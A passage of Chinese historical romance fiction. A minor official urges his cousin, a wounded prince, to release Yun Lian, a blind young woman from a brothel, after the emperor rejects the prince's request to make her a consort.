自从察觉自己对云潋的心意,裴舟望面对这位堂弟时,便总有些不自在。 既怕燕绥之洞穿他的心思,又怕自己迟早有一天忍不住将对云潋的心意和堂弟开诚布公。 察觉到燕绥之探究的眼神,裴舟望从袖中拿出信笺,递到他手中。 “知晓您负伤中毒后,陛下和娘娘心急如焚,下令将刺客送回京都,彻查此事。又命人八百里加急送来各种名贵草药。现下宫中每日一封信笺传来,迫切想知晓您是否无碍。” 燕绥之将信笺随意看上几眼,便放在一旁,神情冷漠而疏离。 裴舟望试探道:“既然你已无大碍,为何仍要让我按住消息?” 燕绥之笑道:“有人急迫,便有人心安。喜悦上头,行事乖张,才容易漏出马脚。” 裴舟望深知皇权斗争,哪里是他一个地方小官可以参透,因此全程缄口不言。 “堂兄这几日似乎与我不似往日那般亲近,还总是欲言又止,可是有什么话要说?” 裴舟望犹豫片刻,鼓足勇气询问道:“殿下和云姑娘身上的毒已解,不知殿下想要如何安置云姑娘。莫不是真要似那日一般,将她强行带去贺州?” 燕绥之的眼神越发犀利,“怎么,堂兄觉得不妥?” 见燕绥之动怒,裴舟望从绣墩上起身,跪地行礼。 “殿下行事,微臣本不该置喙。可陛下已经驳斥了您请旨册封云姑娘为侧妃的奏疏,贵妃娘娘屡屡劝解,也难以改变陛下心意,想必此事已无转圜的余地。云姑娘她目不能视,无依无靠,既无家人庇护,又出身烟花之地,若殿下强行留她在身边,只怕为她招来无尽祸事。” 见燕绥之并未打断他,裴舟望继续说道:“京都波谲云诡、权势倾轧,连殿下遇刺之事都难以避免。她一个弱女子,没有强盛的家世做靠山,殿下的宠爱,于她而言,当真是幸运吗?” 屋内寂静无声,燕绥之许久才开口:“那依堂兄之见,孤当如何?” “请殿下放云姑娘离开!”